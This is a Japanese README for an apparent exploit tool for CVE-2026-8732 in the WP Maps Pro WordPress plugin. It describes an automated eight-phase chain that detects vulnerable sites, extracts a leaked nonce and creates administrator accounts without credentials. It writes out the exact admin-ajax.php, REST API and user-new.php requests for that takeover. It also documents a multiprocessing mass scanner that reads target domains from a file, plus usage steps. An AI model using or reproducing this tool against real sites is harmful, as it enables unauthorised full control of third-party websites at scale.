
CVE-2026-8732用の自動化された8段階のエクスプロイトで、WP Maps Pro ≤ 6.1.0における未認証の権限昇格を悪用します。マルチプロセッシングとasyncioを使用して、ターゲットをスキャンし、ノンスを抽出し、管理者アカウントを作成します。
WordPressプラグイン WP Maps Pro バージョン ≤ 6.1.0 には、認証不要の権限昇格脆弱性が存在します。攻撃者は資格情報なしで 管理者アカウントを作成し、サイトを完全に制御できます。
この脆弱性は、FlipperCodeベンダーのサポートチーム向けに設計された「Temporary Access」機能に起因しますが、適切な保護なしに公開されています。
| 情報 | 詳細 |
|---|---|
| CVE | CVE-2026-8732 |
| CVSS | 9.8 (CRITICAL) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| プラグイン | WP Maps Pro (wp-google-map-gold) |
| ベンダー | FlipperCode |
| 影響を受けるバージョン | ≤ 6.1.0 |
| パッチ適用バージョン | 6.1.1 |
| タイプ | 重要な機能に対する認証欠如 (CWE-306) |
| 影響 | 認証なしでの管理者作成 → サイトの完全制御 |
| PoC作成者 | XENON1337 |
┌──────────────────────────────────────────────────────────────┐
│ 脆弱性 1 — 認証なしで露出したエンドポイント │
│ ▸ AJAXアクションが wp_ajax_nopriv_ で登録されている │
│ ▸ 誰でもログインせずにアクセス可能 │
└──────────────────────┬───────────────────────────────────────┘
│
┌──────────────────────▼───────────────────────────────────────┐
│ 脆弱性 2 — 公開ページでのNonce漏洩 │
│ ▸ wpgmp_local.nonce オブジェクトが全ページに埋め込まれる │
│ ▸ 攻撃者はHTMLソースからnonceを抽出可能 │
└──────────────────────┬───────────────────────────────────────┘
│
┌──────────────────────▼───────────────────────────────────────┐
│ 脆弱性 3 — アクセス権限チェックなし │
│ ▸ コールバック関数はnonceのみを検証 │
│ ▸ current_user_can() なし — 他の防御策なし │
└──────────────────────────────────────────────────────────────┘
┌─────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐
│ フェース1 │──▶│ フェース2 │──▶│ フェース3 │──▶│ フェース4 │
│ RESOLVE │ │ CHECK WP │ │ DETECT │ │ VERSION │
│ HTTPS? │ │ wp-content│ │ PLUGIN │ │ ≤6.1.0? │
│ HTTP? │ │ wp-login │ │ wpgmp_ │ │ WAF? │
└─────────┘ └──────────┘ └──────────┘ └─────┬────┘
│ 脆弱
▼
┌──────────────────────────────────────────────────────────┐
│ フェース5 — NONCE抽出 │
│ │
│ グループA (API) グループB (コンテンツ) グループC │
│ ├─ M1: REST pages ├─ M4: Sitemap XML └─ M7: Slug │
│ ├─ M2: REST search ├─ M5: Homepage links Brute │
│ └─ M3: rest_route └─ M6: RSS/Atom feed Force │
│ │
│ ターゲット: wpgmp_local.nonce = "fc-call-nonce" │
└──────────────────────────┬───────────────────────────────┘
│ NONCE発見
▼
┌──────────┐ ┌──────────┐ ┌──────────┐
│ フェース6 │──▶│ フェース7 │──▶│ フェース8 │
│ EXPLOIT │ │ VERIFY │ │ ADD ADMIN│
│ POST AJAX│ │ Magic URL│ │ PERMANEN │
│ nonce+ │ │ Cookie │ │ REST API │
│ check_ │ │ login │ │ WP-Admin │
│ temp=false│ │ check │ │ Form │
└──────────┘ └──────────┘ └──────────┘
│
▼
✅ 管理者作成
ログイン: wp_xxxx / pass
ロール: administrator
| フェース | 名前 | 機能 | リクエスト数 |
|---|---|---|---|
| 1 | 解決 | HTTPS/HTTPを並列選択 | 1 |
| 2 | WP確認 | ターゲットがWordPressか検証 | 0 |
| 3 | プラグイン検出 | WP Mapsの指標を3層で確認 | 0-4 |
| 4 | バージョン + WAF | readme.txt / CSS ?ver= 読み取り + WAF検出 | 1 |
| 5 | Nonce抽出 | 3グループ7メソッドによる並列検索 | 0-150 |
| 6 | エクスプロイト | admin-ajax.phpにPOST → 一時管理者アカウント作成 | 1 |
| 7 | 検証 | Magic URLにアクセス → 管理者セッション確認 | 2 |
| 8 | 管理者追加 | REST API (メイン) + WP-Adminフォーム (バックアップ) | 4 |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=wpgmp_temp_access_ajax
nonce=<抽出したNONCE>
check_temp=false
脆弱な場合のレスポンス:
{"url":"https://target.com/?wpgmp_access=abc123def456"}
このMagic URLは
fc_user_XXXXX(ロール: administrator)として自動ログインを提供します。
POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-WP-Nonce: <REST_NONCE>
Content-Type: application/json
{
"username": "wp_xxxxxxxx",
"email": "user@localhost",
"password": "Str0ng!Pass#2026",
"roles": ["administrator"]
}
POST /wp-admin/user-new.php HTTP/1.1
Host: target.com
Cookie: [admin_cookies]
Content-Type: application/x-www-form-urlencoded
user_login=wp_xxxxxxxx
email=user@localhost
pass1=Str0ng!Pass#2026
pass2=Str0ng!Pass#2026
pw_weak=1 <-- 重要: 弱いパスワードの確認
role=administrator
createuser=Add New User
_wpnonce_create-user=<NONCE>
重要:
pw_weak=1は必須 — WordPressはこのパラメータなしでは弱いパスワードを拒否します。
CVE-2026-8732.py
│
├── 📦 NonceFinder — 7メソッドによるNonce検索
│ ├── グループA (API): M1 REST pages, M2 REST search, M3 rest_route
│ ├── グループB (コンテンツ): M4 Sitemap, M5 Homepage links, M6 RSS feed
│ └── グループC (強制): M7 Slug brute force (30以上の一般的なスラッグ)
│
├── ⚔️ Exploiter — 8フェースエクスプロイトエンジン
│ ├── resolve() → フェース1: プロトコル選択
│ ├── check_wp() → フェース2: WordPress検証
│ ├── detect_plugin() → フェース3: プラグイン検出 + 早期nonce
│ ├── detect_version() → フェース4: バージョン検出 + WAF
│ ├── exploit() → フェース6: コアエクスプロイト
│ ├── verify() → フェース7: 管理者ログイン検証
│ └── add_admin() → フェース8: 永続的管理者追加
│
├── 🔧 Worker Process — マルチプロセッシングワーカープロセス
│ ├── producer() → mp.Queueからドメインを読み取り
│ └── consumer() (N) → 並列スキャン実行
│
└── 🖥️ Scanner — ユーザーインターフェース
├── single() → 単一ターゲットモード(対話型)
└── multi() → マルチターゲットモード(一括)
targets.txt mp.Queue (タスク) asyncio.Queue
┌─────────┐ ┌─────────────────┐ ┌──────────────────┐
│ domain1 │───▶│ ドメインキュー │───▶│ 内部キュー │
│ domain2 │ │ (プロセス間 │ │ (プロセスごと) │
│ domain3 │ │ IPC) │ └────────┬─────────┘
│ ... │ └─────────────────┘ │
└─────────┘ ┌─────────▼──────────┐
│ コンシューマ (N) │
│ Exploiter.scan() │
│ 完全8フェース │
└─────────┬──────────┘
│
┌─────────▼──────────┐
│ mp.Queue (結果) │──▶ vuln.txt
│ + JSON + TXT │ + debug.log
└────────────────────┘
pip install aiohttp
python3 CVE-2026-8732.py
[?] モードを選択:
1. 単一ターゲット
2. マルチターゲット(ファイルリスト)
> 1
[?] ターゲットドメイン (http/https なし): target.com
[?] タイムアウト [デフォルト: 15]: 15
python3 CVE-2026-8732.py
[?] モードを選択:
1. 単一ターゲット
2. マルチターゲット(ファイルリスト)
> 2